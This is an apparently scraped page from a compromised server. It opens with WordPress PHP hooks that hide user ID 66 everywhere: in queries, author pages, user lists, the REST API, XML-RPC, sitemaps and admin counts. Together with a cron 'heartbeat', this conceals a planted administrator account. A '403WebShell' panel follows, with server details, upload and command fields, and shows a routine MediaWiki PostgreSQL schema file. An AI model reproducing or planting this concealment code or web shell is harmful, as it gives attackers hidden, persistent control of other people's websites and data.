add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/sql/postgres/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/sql/postgres/tables-generated.sql
-- This file is automatically generated using maintenance/generateSchemaSql.php.
-- Source: sql/tables.json
-- Do not modify this file directly.
-- See https://www.mediawiki.org/wiki/Manual:Schema_changes
CREATE TABLE site_identifiers (
  si_type TEXT NOT NULL,
  si_key TEXT NOT NULL,
  si_site INT NOT NULL,
  PRIMARY KEY(si_type, si_key)
);

CREATE INDEX si_site ON site_identifiers (si_site);

CREATE INDEX si_key ON site_identifiers (si_key);


CREATE TABLE updatelog (
  ul_key VARCHAR(255) NOT NULL,
  ul_value TEXT DEFAULT NULL,
  PRIMARY KEY(ul_key)
);


CREATE TABLE actor (
  actor_id BIGSERIAL NOT NULL,
  actor_user INT DEFAULT NULL,
  actor_name TEXT NOT NULL,
  PRIMARY KEY(actor_id)
);

CREATE UNIQUE INDEX actor_user ON actor (actor_user);

CREATE UNIQUE INDEX actor_name ON actor (actor_name);


CREATE TABLE user_former_groups (
  ufg_user INT DEFAULT 0 NOT NULL,
  ufg_group TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(ufg_user, ufg_group)
);


CREATE TABLE bot_passwords (
  bp_user INT NOT NULL,
  bp_app_id TEXT NOT NULL,
  bp_password TEXT NOT NULL,
  bp_token TEXT DEFAULT '' NOT NULL,
  bp_restrictions TEXT NOT NULL,
  bp_grants TEXT NOT NULL,
  PRIMARY KEY(bp_user, bp_app_id)
);


CREATE TABLE comment (
  comment_id BIGSERIAL NOT NULL,
  comment_hash INT NOT NULL,
  comment_text TEXT NOT NULL,
  comment_data TEXT DEFAULT NULL,
  PRIMARY KEY(comment_id)
);

CREATE INDEX comment_hash ON comment (comment_hash);


CREATE TABLE slots (
  slot_revision_id BIGINT NOT NULL,
  slot_role_id SMALLINT NOT NULL,
  slot_content_id BIGINT NOT NULL,
  slot_origin BIGINT NOT NULL,
  PRIMARY KEY(slot_revision_id, slot_role_id)
);

CREATE INDEX slot_revision_origin_role ON slots (
  slot_revision_id, slot_origin, slot_role_id
);


CREATE TABLE site_stats (
  ss_row_id INT NOT NULL,
  ss_total_edits BIGINT DEFAULT NULL,
  ss_good_articles BIGINT DEFAULT NULL,
  ss_total_pages BIGINT DEFAULT NULL,
  ss_users BIGINT DEFAULT NULL,
  ss_active_users BIGINT DEFAULT NULL,
  ss_images BIGINT DEFAULT NULL,
  PRIMARY KEY(ss_row_id)
);


CREATE TABLE user_properties (
  up_user INT NOT NULL,
  up_property TEXT NOT NULL,
  up_value TEXT DEFAULT NULL,
  PRIMARY KEY(up_user, up_property)
);

CREATE INDEX up_property ON user_properties (up_property);


CREATE TABLE log_search (
  ls_field TEXT NOT NULL,
  ls_value VARCHAR(255) NOT NULL,
  ls_log_id INT DEFAULT 0 NOT NULL,
  PRIMARY KEY(ls_field, ls_value, ls_log_id)
);

CREATE INDEX ls_log_id ON log_search (ls_log_id);


CREATE TABLE change_tag (
  ct_id SERIAL NOT NULL,
  ct_rc_id BIGINT DEFAULT NULL,
  ct_log_id INT DEFAULT NULL,
  ct_rev_id INT DEFAULT NULL,
  ct_params TEXT DEFAULT NULL,
  ct_tag_id INT NOT NULL,
  PRIMARY KEY(ct_id)
);

CREATE UNIQUE INDEX ct_rc_tag_id ON change_tag (ct_rc_id, ct_tag_id);

CREATE UNIQUE INDEX ct_log_tag_id ON change_tag (ct_log_id, ct_tag_id);

CREATE UNIQUE INDEX ct_rev_tag_id ON change_tag (ct_rev_id, ct_tag_id);

CREATE INDEX ct_tag_id_id ON change_tag (
  ct_tag_id, ct_rc_id, ct_rev_id, ct_log_id
);


CREATE TABLE content (
  content_id BIGSERIAL NOT NULL,
  content_size INT NOT NULL,
  content_sha1 TEXT NOT NULL,
  content_model SMALLINT NOT NULL,
  content_address TEXT NOT NULL,
  PRIMARY KEY(content_id)
);


CREATE TABLE l10n_cache (
  lc_lang TEXT NOT NULL,
  lc_key VARCHAR(255) NOT NULL,
  lc_value TEXT NOT NULL,
  PRIMARY KEY(lc_lang, lc_key)
);


CREATE TABLE redirect (
  rd_from INT DEFAULT 0 NOT NULL,
  rd_namespace INT DEFAULT 0 NOT NULL,
  rd_title TEXT DEFAULT '' NOT NULL,
  rd_interwiki VARCHAR(32) DEFAULT NULL,
  rd_fragment TEXT DEFAULT NULL,
  PRIMARY KEY(rd_from)
);

CREATE INDEX rd_ns_title ON redirect (rd_namespace, rd_title, rd_from);


CREATE TABLE pagelinks (
  pl_from INT DEFAULT 0 NOT NULL,
  pl_target_id BIGINT NOT NULL,
  pl_from_namespace INT DEFAULT 0 NOT NULL,
  PRIMARY KEY(pl_from, pl_target_id)
);

CREATE INDEX pl_target_id ON pagelinks (pl_target_id, pl_from);

CREATE INDEX pl_backlinks_namespace_target_id ON pagelinks (
  pl_from_namespace, pl_target_id,
  pl_from
);


CREATE TABLE templatelinks (
  tl_from INT DEFAULT 0 NOT NULL,
  tl_target_id BIGINT NOT NULL,
  tl_from_namespace INT DEFAULT 0 NOT NULL,
  PRIMARY KEY(tl_from, tl_target_id)
);

CREATE INDEX tl_target_id ON templatelinks (tl_target_id, tl_from);

CREATE INDEX tl_backlinks_namespace_target_id ON templatelinks (
  tl_from_namespace, tl_target_id,
  tl_from
);


CREATE TABLE imagelinks (
  il_from INT DEFAULT 0 NOT NULL,
  il_to TEXT DEFAULT '' NOT NULL,
  il_from_namespace INT DEFAULT 0 NOT NULL,
  PRIMARY KEY(il_from, il_to)
);

CREATE INDEX il_to ON imagelinks (il_to, il_from);

CREATE INDEX il_backlinks_namespace ON imagelinks (
  il_from_namespace, il_to, il_from
);


CREATE TABLE langlinks (
  ll_from INT DEFAULT 0 NOT NULL,
  ll_lang TEXT DEFAULT '' NOT NULL,
  ll_title TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(ll_from, ll_lang)
);

CREATE INDEX ll_lang ON langlinks (ll_lang, ll_title);


CREATE TABLE iwlinks (
  iwl_from INT DEFAULT 0 NOT NULL,
  iwl_prefix TEXT DEFAULT '' NOT NULL,
  iwl_title TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(iwl_from, iwl_prefix, iwl_title)
);

CREATE INDEX iwl_prefix_title_from ON iwlinks (iwl_prefix, iwl_title, iwl_from);


CREATE TABLE category (
  cat_id SERIAL NOT NULL,
  cat_title TEXT NOT NULL,
  cat_pages INT DEFAULT 0 NOT NULL,
  cat_subcats INT DEFAULT 0 NOT NULL,
  cat_files INT DEFAULT 0 NOT NULL,
  PRIMARY KEY(cat_id)
);

CREATE UNIQUE INDEX cat_title ON category (cat_title);

CREATE INDEX cat_pages ON category (cat_pages);


CREATE TABLE watchlist_expiry (
  we_item INT NOT NULL,
  we_expiry TIMESTAMPTZ NOT NULL,
  PRIMARY KEY(we_item)
);

CREATE INDEX we_expiry ON watchlist_expiry (we_expiry);


CREATE TABLE change_tag_def (
  ctd_id SERIAL NOT NULL,
  ctd_name TEXT NOT NULL,
  ctd_user_defined SMALLINT NOT NULL,
  ctd_count BIGINT DEFAULT 0 NOT NULL,
  PRIMARY KEY(ctd_id)
);

CREATE UNIQUE INDEX ctd_name ON change_tag_def (ctd_name);

CREATE INDEX ctd_count ON change_tag_def (ctd_count);

CREATE INDEX ctd_user_defined ON change_tag_def (ctd_user_defined);


CREATE TABLE ipblocks_restrictions (
  ir_ipb_id INT NOT NULL,
  ir_type SMALLINT NOT NULL,
  ir_value INT NOT NULL,
  PRIMARY KEY(ir_ipb_id, ir_type, ir_value)
);

CREATE INDEX ir_type_value ON ipblocks_restrictions (ir_type, ir_value);


CREATE TABLE querycache (
  qc_type TEXT NOT NULL, qc_value INT DEFAULT 0 NOT NULL,
  qc_namespace INT DEFAULT 0 NOT NULL,
  qc_title TEXT DEFAULT '' NOT NULL
);

CREATE INDEX qc_type ON querycache (qc_type, qc_value);


CREATE TABLE querycachetwo (
  qcc_type TEXT NOT NULL, qcc_value INT DEFAULT 0 NOT NULL,
  qcc_namespace INT DEFAULT 0 NOT NULL,
  qcc_title TEXT DEFAULT '' NOT NULL,
  qcc_namespacetwo INT DEFAULT 0 NOT NULL,
  qcc_titletwo TEXT DEFAULT '' NOT NULL
);

CREATE INDEX qcc_type ON querycachetwo (qcc_type, qcc_value);

CREATE INDEX qcc_title ON querycachetwo (
  qcc_type, qcc_namespace, qcc_title
);

CREATE INDEX qcc_titletwo ON querycachetwo (
  qcc_type, qcc_namespacetwo, qcc_titletwo
);


CREATE TABLE page_restrictions (
  pr_id SERIAL NOT NULL,
  pr_page INT NOT NULL,
  pr_type TEXT NOT NULL,
  pr_level TEXT NOT NULL,
  pr_cascade SMALLINT NOT NULL,
  pr_expiry TIMESTAMPTZ DEFAULT NULL,
  PRIMARY KEY(pr_id)
);

CREATE UNIQUE INDEX pr_pagetype ON page_restrictions (pr_page, pr_type);

CREATE INDEX pr_typelevel ON page_restrictions (pr_type, pr_level);

CREATE INDEX pr_level ON page_restrictions (pr_level);

CREATE INDEX pr_cascade ON page_restrictions (pr_cascade);


CREATE TABLE user_groups (
  ug_user INT DEFAULT 0 NOT NULL,
  ug_group TEXT DEFAULT '' NOT NULL,
  ug_expiry TIMESTAMPTZ DEFAULT NULL,
  PRIMARY KEY(ug_user, ug_group)
);

CREATE INDEX ug_group ON user_groups (ug_group);

CREATE INDEX ug_expiry ON user_groups (ug_expiry);


CREATE TABLE querycache_info (
  qci_type TEXT DEFAULT '' NOT NULL,
  qci_timestamp TIMESTAMPTZ DEFAULT '1970-01-01 00:00:00+00' NOT NULL,
  PRIMARY KEY(qci_type)
);


CREATE TABLE watchlist (
  wl_id SERIAL NOT NULL,
  wl_user INT NOT NULL,
  wl_namespace INT DEFAULT 0 NOT NULL,
  wl_title TEXT DEFAULT '' NOT NULL,
  wl_notificationtimestamp TIMESTAMPTZ DEFAULT NULL,
  PRIMARY KEY(wl_id)
);

CREATE UNIQUE INDEX wl_user ON watchlist (wl_user, wl_namespace, wl_title);

CREATE INDEX wl_namespace_title ON watchlist (wl_namespace, wl_title);

CREATE INDEX wl_user_notificationtimestamp ON watchlist (
  wl_user, wl_notificationtimestamp
);


CREATE TABLE sites (
  site_id SERIAL NOT NULL,
  site_global_key TEXT NOT NULL,
  site_type TEXT NOT NULL,
  site_group TEXT NOT NULL,
  site_source TEXT NOT NULL,
  site_language TEXT NOT NULL,
  site_protocol TEXT NOT NULL,
  site_domain VARCHAR(255) NOT NULL,
  site_data TEXT NOT NULL,
  site_forward SMALLINT NOT NULL,
  site_config TEXT NOT NULL,
  PRIMARY KEY(site_id)
);

CREATE UNIQUE INDEX site_global_key ON sites (site_global_key);


CREATE TABLE user_newtalk (
  user_id INT DEFAULT 0 NOT NULL, user_ip TEXT DEFAULT '' NOT NULL,
  user_last_timestamp TIMESTAMPTZ DEFAULT NULL
);

CREATE INDEX un_user_id ON user_newtalk (user_id);

CREATE INDEX un_user_ip ON user_newtalk (user_ip);


CREATE TABLE interwiki (
  iw_prefix VARCHAR(32) NOT NULL,
  iw_url TEXT NOT NULL,
  iw_api TEXT NOT NULL,
  iw_wikiid VARCHAR(64) NOT NULL,
  iw_local SMALLINT NOT NULL,
  iw_trans SMALLINT DEFAULT 0 NOT NULL,
  PRIMARY KEY(iw_prefix)
);


CREATE TABLE protected_titles (
  pt_namespace INT NOT NULL,
  pt_title TEXT NOT NULL,
  pt_user INT NOT NULL,
  pt_reason_id BIGINT NOT NULL,
  pt_timestamp TIMESTAMPTZ NOT NULL,
  pt_expiry TIMESTAMPTZ NOT NULL,
  pt_create_perm TEXT NOT NULL,
  PRIMARY KEY(pt_namespace, pt_title)
);

CREATE INDEX pt_timestamp ON protected_titles (pt_timestamp);


CREATE TABLE externallinks (
  el_id SERIAL NOT NULL,
  el_from INT DEFAULT 0 NOT NULL,
  el_to_domain_index TEXT DEFAULT '' NOT NULL,
  el_to_path TEXT DEFAULT NULL,
  PRIMARY KEY(el_id)
);

CREATE INDEX el_from ON externallinks (el_from);

CREATE INDEX el_to_domain_index_to_path ON externallinks (el_to_domain_index, el_to_path);


CREATE TABLE ip_changes (
  ipc_rev_id INT DEFAULT 0 NOT NULL,
  ipc_rev_timestamp TIMESTAMPTZ NOT NULL,
  ipc_hex TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(ipc_rev_id)
);

CREATE INDEX ipc_rev_timestamp ON ip_changes (ipc_rev_timestamp);

CREATE INDEX ipc_hex_time ON ip_changes (ipc_hex, ipc_rev_timestamp);


CREATE TABLE page_props (
  pp_page INT NOT NULL,
  pp_propname TEXT NOT NULL,
  pp_value TEXT NOT NULL,
  pp_sortkey FLOAT DEFAULT NULL,
  PRIMARY KEY(pp_page, pp_propname)
);

CREATE UNIQUE INDEX pp_propname_page ON page_props (pp_propname, pp_page);

CREATE UNIQUE INDEX pp_propname_sortkey_page ON page_props (pp_propname, pp_sortkey, pp_page)
WHERE (pp_sortkey IS NOT NULL);


CREATE TABLE job (
  job_id SERIAL NOT NULL,
  job_cmd TEXT DEFAULT '' NOT NULL,
  job_namespace INT NOT NULL,
  job_title TEXT NOT NULL,
  job_timestamp TIMESTAMPTZ DEFAULT NULL,
  job_params TEXT NOT NULL,
  job_random INT DEFAULT 0 NOT NULL,
  job_attempts INT DEFAULT 0 NOT NULL,
  job_token TEXT DEFAULT '' NOT NULL,
  job_token_timestamp TIMESTAMPTZ DEFAULT NULL,
  job_sha1 TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(job_id)
);

CREATE INDEX job_sha1 ON job (job_sha1);

CREATE INDEX job_cmd_token ON job (job_cmd, job_token, job_random);

CREATE INDEX job_cmd_token_id ON job (job_cmd, job_token, job_id);

CREATE INDEX job_cmd ON job (
  job_cmd, job_namespace, job_title,
  job_params
);

CREATE INDEX job_timestamp ON job (job_timestamp);


CREATE TABLE slot_roles (
  role_id SERIAL NOT NULL,
  role_name TEXT NOT NULL,
  PRIMARY KEY(role_id)
);

CREATE UNIQUE INDEX role_name ON slot_roles (role_name);


CREATE TABLE content_models (
  model_id SERIAL NOT NULL,
  model_name TEXT NOT NULL,
  PRIMARY KEY(model_id)
);

CREATE UNIQUE INDEX model_name ON content_models (model_name);


CREATE TABLE categorylinks (
  cl_from INT DEFAULT 0 NOT NULL,
  cl_to TEXT DEFAULT '' NOT NULL,
  cl_sortkey TEXT DEFAULT '' NOT NULL,
  cl_sortkey_prefix TEXT DEFAULT '' NOT NULL,
  cl_timestamp TIMESTAMPTZ NOT NULL,
  cl_collation TEXT DEFAULT '' NOT NULL,
  cl_type TEXT DEFAULT 'page' NOT NULL,
  cl_collation_id SMALLINT DEFAULT 0 NOT NULL,
  cl_target_id BIGINT DEFAULT NULL,
  PRIMARY KEY(cl_from, cl_to)
);

CREATE INDEX cl_sortkey ON categorylinks (
  cl_to, cl_type, cl_sortkey, cl_from
);

CREATE INDEX cl_timestamp ON categorylinks (cl_to, cl_timestamp);

CREATE INDEX cl_sortkey_id ON categorylinks (
  cl_target_id, cl_type, cl_sortkey,
  cl_from
);


CREATE TABLE logging (
  log_id SERIAL NOT NULL,
  log_type TEXT DEFAULT '' NOT NULL,
  log_action TEXT DEFAULT '' NOT NULL,
  log_timestamp TIMESTAMPTZ DEFAULT '1970-01-01 00:00:00+00' NOT NULL,
  log_actor BIGINT NOT NULL,
  log_namespace INT DEFAULT 0 NOT NULL,
  log_title TEXT DEFAULT '' NOT NULL,
  log_page INT DEFAULT NULL,
  log_comment_id BIGINT NOT NULL,
  log_params TEXT NOT NULL,
  log_deleted SMALLINT DEFAULT 0 NOT NULL,
  PRIMARY KEY(log_id)
);

CREATE INDEX log_type_time ON logging (log_type, log_timestamp);

CREATE INDEX log_actor_time ON logging (log_actor, log_timestamp);

CREATE INDEX log_page_time ON logging (
  log_namespace, log_title, log_timestamp
);

CREATE INDEX log_times ON logging (log_timestamp);

CREATE INDEX log_actor_type_time ON logging (
  log_actor, log_type, log_timestamp
);

CREATE INDEX log_page_id_time ON logging (log_page, log_timestamp);

CREATE INDEX log_type_action ON logging (
  log_type, log_action, log_timestamp
);

CREATE TYPE US_MEDIA_TYPE_ENUM AS ENUM(
  'UNKNOWN', 'BITMAP', 'DRAWING', 'AUDIO',
  'VIDEO', 'MULTIMEDIA', 'OFFICE',
  'TEXT', 'EXECUTABLE', 'ARCHIVE',
  '3D'
);


CREATE TABLE uploadstash (
  us_id SERIAL NOT NULL,
  us_user INT NOT NULL,
  us_key VARCHAR(255) NOT NULL,
  us_orig_path VARCHAR(255) NOT NULL,
  us_path VARCHAR(255) NOT NULL,
  us_source_type VARCHAR(50) DEFAULT NULL,
  us_timestamp TIMESTAMPTZ NOT NULL,
  us_status VARCHAR(50) NOT NULL,
  us_chunk_inx INT DEFAULT NULL,
  us_props TEXT DEFAULT NULL,
  us_size BIGINT NOT NULL,
  us_sha1 VARCHAR(31) NOT NULL,
  us_mime VARCHAR(255) DEFAULT NULL,
  us_media_type US_MEDIA_TYPE_ENUM DEFAULT NULL,
  us_image_width INT DEFAULT NULL,
  us_image_height INT DEFAULT NULL,
  us_image_bits SMALLINT DEFAULT NULL,
  PRIMARY KEY(us_id)
);

CREATE INDEX us_user ON uploadstash (us_user);

CREATE UNIQUE INDEX us_key ON uploadstash (us_key);

CREATE INDEX us_timestamp ON uploadstash (us_timestamp);


CREATE TABLE filearchive (
  fa_id SERIAL NOT NULL,
  fa_name TEXT DEFAULT '' NOT NULL,
  fa_archive_name TEXT DEFAULT '',
  fa_storage_group TEXT DEFAULT NULL,
  fa_storage_key TEXT DEFAULT '',
  fa_deleted_user INT DEFAULT NULL,
  fa_deleted_timestamp TIMESTAMPTZ DEFAULT NULL,
  fa_deleted_reason_id BIGINT NOT NULL,
  fa_size BIGINT DEFAULT 0,
  fa_width INT DEFAULT 0,
  fa_height INT DEFAULT 0,
  fa_metadata TEXT DEFAULT NULL,
  fa_bits INT DEFAULT 0,
  fa_media_type TEXT DEFAULT NULL,
  fa_major_mime TEXT DEFAULT 'unknown',
  fa_minor_mime TEXT DEFAULT 'unknown',
  fa_description_id BIGINT NOT NULL,
  fa_actor BIGINT NOT NULL,
  fa_timestamp TIMESTAMPTZ DEFAULT NULL,
  fa_deleted SMALLINT DEFAULT 0 NOT NULL,
  fa_sha1 TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(fa_id)
);

CREATE INDEX fa_name ON filearchive (fa_name, fa_timestamp);

CREATE INDEX fa_storage_group ON filearchive (
  fa_storage_group, fa_storage_key
);

CREATE INDEX fa_deleted_timestamp ON filearchive (fa_deleted_timestamp);

CREATE INDEX fa_actor_timestamp ON filearchive (fa_actor, fa_timestamp);

CREATE INDEX fa_sha1 ON filearchive (fa_sha1);


CREATE TABLE text (
  old_id SERIAL NOT NULL,
  old_text TEXT NOT NULL,
  old_flags TEXT NOT NULL,
  PRIMARY KEY(old_id)
);


CREATE TABLE oldimage (
  oi_name TEXT DEFAULT '' NOT NULL, oi_archive_name TEXT DEFAULT '' NOT NULL,
  oi_size BIGINT DEFAULT 0 NOT NULL, oi_width INT DEFAULT 0 NOT NULL,
  oi_height INT DEFAULT 0 NOT NULL, oi_bits INT DEFAULT 0 NOT NULL,
  oi_description_id BIGINT NOT NULL,
  oi_actor BIGINT NOT NULL, oi_timestamp TIMESTAMPTZ NOT NULL,
  oi_metadata TEXT NOT NULL, oi_media_type TEXT DEFAULT NULL,
  oi_major_mime TEXT DEFAULT 'unknown' NOT NULL,
  oi_minor_mime TEXT DEFAULT 'unknown' NOT NULL,
  oi_deleted SMALLINT DEFAULT 0 NOT NULL,
  oi_sha1 TEXT DEFAULT '' NOT NULL
);

CREATE INDEX oi_actor_timestamp ON oldimage (oi_actor, oi_timestamp);

CREATE INDEX oi_name_timestamp ON oldimage (oi_name, oi_timestamp);

CREATE INDEX oi_name_archive_name ON oldimage (oi_name, oi_archive_name);

CREATE INDEX oi_sha1 ON oldimage (oi_sha1);

CREATE INDEX oi_timestamp ON oldimage (oi_timestamp);


CREATE TABLE objectcache (
  keyname TEXT DEFAULT '' NOT NULL,
  value TEXT DEFAULT NULL,
  exptime TIMESTAMPTZ NOT NULL,
  modtoken VARCHAR(17) DEFAULT '00000000000000000' NOT NULL,
  flags INT DEFAULT NULL,
  PRIMARY KEY(keyname)
);

CREATE INDEX exptime ON objectcache (exptime);


CREATE TABLE block (
  bl_id SERIAL NOT NULL,
  bl_target INT NOT NULL,
  bl_by_actor BIGINT NOT NULL,
  bl_reason_id BIGINT NOT NULL,
  bl_timestamp TIMESTAMPTZ NOT NULL,
  bl_anon_only SMALLINT DEFAULT 0 NOT NULL,
  bl_create_account SMALLINT DEFAULT 1 NOT NULL,
  bl_enable_autoblock SMALLINT DEFAULT 1 NOT NULL,
  bl_expiry TIMESTAMPTZ NOT NULL,
  bl_deleted SMALLINT DEFAULT 0 NOT NULL,
  bl_block_email SMALLINT DEFAULT 0 NOT NULL,
  bl_allow_usertalk SMALLINT DEFAULT 0 NOT NULL,
  bl_parent_block_id INT DEFAULT NULL,
  bl_sitewide SMALLINT DEFAULT 1 NOT NULL,
  PRIMARY KEY(bl_id)
);

CREATE INDEX bl_timestamp ON block (bl_timestamp);

CREATE INDEX bl_target ON block (bl_target);

CREATE INDEX bl_expiry ON block (bl_expiry);

CREATE INDEX bl_parent_block_id ON block (bl_parent_block_id);


CREATE TABLE block_target (
  bt_id SERIAL NOT NULL,
  bt_address TEXT DEFAULT NULL,
  bt_user INT DEFAULT NULL,
  bt_user_text TEXT DEFAULT NULL,
  bt_auto SMALLINT DEFAULT 0 NOT NULL,
  bt_range_start TEXT DEFAULT NULL,
  bt_range_end TEXT DEFAULT NULL,
  bt_ip_hex TEXT DEFAULT NULL,
  bt_count INT DEFAULT 0 NOT NULL,
  PRIMARY KEY(bt_id)
);

CREATE INDEX bt_address ON block_target (bt_address);

CREATE INDEX bt_ip_user_text ON block_target (bt_ip_hex, bt_user_text);

CREATE INDEX bt_range ON block_target (bt_range_start, bt_range_end);

CREATE INDEX bt_user ON block_target (bt_user);


CREATE TABLE image (
  img_name TEXT DEFAULT '' NOT NULL,
  img_size BIGINT DEFAULT 0 NOT NULL,
  img_width INT DEFAULT 0 NOT NULL,
  img_height INT DEFAULT 0 NOT NULL,
  img_metadata TEXT NOT NULL,
  img_bits INT DEFAULT 0 NOT NULL,
  img_media_type TEXT DEFAULT NULL,
  img_major_mime TEXT DEFAULT 'unknown' NOT NULL,
  img_minor_mime TEXT DEFAULT 'unknown' NOT NULL,
  img_description_id BIGINT NOT NULL,
  img_actor BIGINT NOT NULL,
  img_timestamp TIMESTAMPTZ NOT NULL,
  img_sha1 TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(img_name)
);

CREATE INDEX img_actor_timestamp ON image (img_actor, img_timestamp);

CREATE INDEX img_size ON image (img_size);

CREATE INDEX img_timestamp ON image (img_timestamp);

CREATE INDEX img_sha1 ON image (img_sha1);

CREATE INDEX img_media_mime ON image (
  img_media_type, img_major_mime, img_minor_mime
);


CREATE TABLE recentchanges (
  rc_id BIGSERIAL NOT NULL,
  rc_timestamp TIMESTAMPTZ NOT NULL,
  rc_actor BIGINT NOT NULL,
  rc_namespace INT DEFAULT 0 NOT NULL,
  rc_title TEXT DEFAULT '' NOT NULL,
  rc_comment_id BIGINT NOT NULL,
  rc_minor SMALLINT DEFAULT 0 NOT NULL,
  rc_bot SMALLINT DEFAULT 0 NOT NULL,
  rc_new SMALLINT DEFAULT 0 NOT NULL,
  rc_cur_id INT DEFAULT 0 NOT NULL,
  rc_this_oldid INT DEFAULT 0 NOT NULL,
  rc_last_oldid INT DEFAULT 0 NOT NULL,
  rc_type SMALLINT DEFAULT 0 NOT NULL,
  rc_source TEXT DEFAULT '' NOT NULL,
  rc_patrolled SMALLINT DEFAULT 0 NOT NULL,
  rc_ip TEXT DEFAULT '' NOT NULL,
  rc_old_len INT DEFAULT NULL,
  rc_new_len INT DEFAULT NULL,
  rc_deleted SMALLINT DEFAULT 0 NOT NULL,
  rc_logid INT DEFAULT 0 NOT NULL,
  rc_log_type TEXT DEFAULT NULL,
  rc_log_action TEXT DEFAULT NULL,
  rc_params TEXT DEFAULT NULL,
  PRIMARY KEY(rc_id)
);

CREATE INDEX rc_timestamp ON recentchanges (rc_timestamp);

CREATE INDEX rc_namespace_title_timestamp ON recentchanges (
  rc_namespace, rc_title, rc_timestamp
);

CREATE INDEX rc_cur_id ON recentchanges (rc_cur_id);

CREATE INDEX rc_new_name_timestamp ON recentchanges (
  rc_new, rc_namespace, rc_timestamp
);

CREATE INDEX rc_ip ON recentchanges (rc_ip);

CREATE INDEX rc_ns_actor ON recentchanges (rc_namespace, rc_actor);

CREATE INDEX rc_actor ON recentchanges (rc_actor, rc_timestamp);

CREATE INDEX rc_name_type_patrolled_timestamp ON recentchanges (
  rc_namespace, rc_type, rc_patrolled,
  rc_timestamp
);

CREATE INDEX rc_this_oldid ON recentchanges (rc_this_oldid);


CREATE TABLE archive (
  ar_id SERIAL NOT NULL,
  ar_namespace INT DEFAULT 0 NOT NULL,
  ar_title TEXT DEFAULT '' NOT NULL,
  ar_comment_id BIGINT NOT NULL,
  ar_actor BIGINT NOT NULL,
  ar_timestamp TIMESTAMPTZ NOT NULL,
  ar_minor_edit SMALLINT DEFAULT 0 NOT NULL,
  ar_rev_id INT NOT NULL,
  ar_deleted SMALLINT DEFAULT 0 NOT NULL,
  ar_len INT DEFAULT NULL,
  ar_page_id INT DEFAULT NULL,
  ar_parent_id INT DEFAULT NULL,
  ar_sha1 TEXT DEFAULT '' NOT NULL,
  PRIMARY KEY(ar_id)
);

CREATE INDEX ar_name_title_timestamp ON archive (
  ar_namespace, ar_title, ar_timestamp
);

CREATE INDEX ar_actor_timestamp ON archive (ar_actor, ar_timestamp);

CREATE UNIQUE INDEX ar_revid_uniq ON archive (ar_rev_id);


CREATE TABLE page (
  page_id SERIAL NOT NULL,
  page_namespace INT NOT NULL,
  page_title TEXT NOT NULL,
  page_is_redirect SMALLINT DEFAULT 0 NOT NULL,
  page_is_new SMALLINT DEFAULT 0 NOT NULL,
  page_random FLOAT NOT NULL,
  page_touched TIMESTAMPTZ NOT NULL,
  page_links_updated TIMESTAMPTZ DEFAULT NULL,
  page_latest INT NOT NULL,
  page_len INT NOT NULL,
  page_content_model TEXT DEFAULT NULL,
  page_lang TEXT DEFAULT NULL,
  PRIMARY KEY(page_id)
);

CREATE UNIQUE INDEX page_name_title ON page (page_namespace, page_title);

CREATE INDEX page_random ON page (page_random);

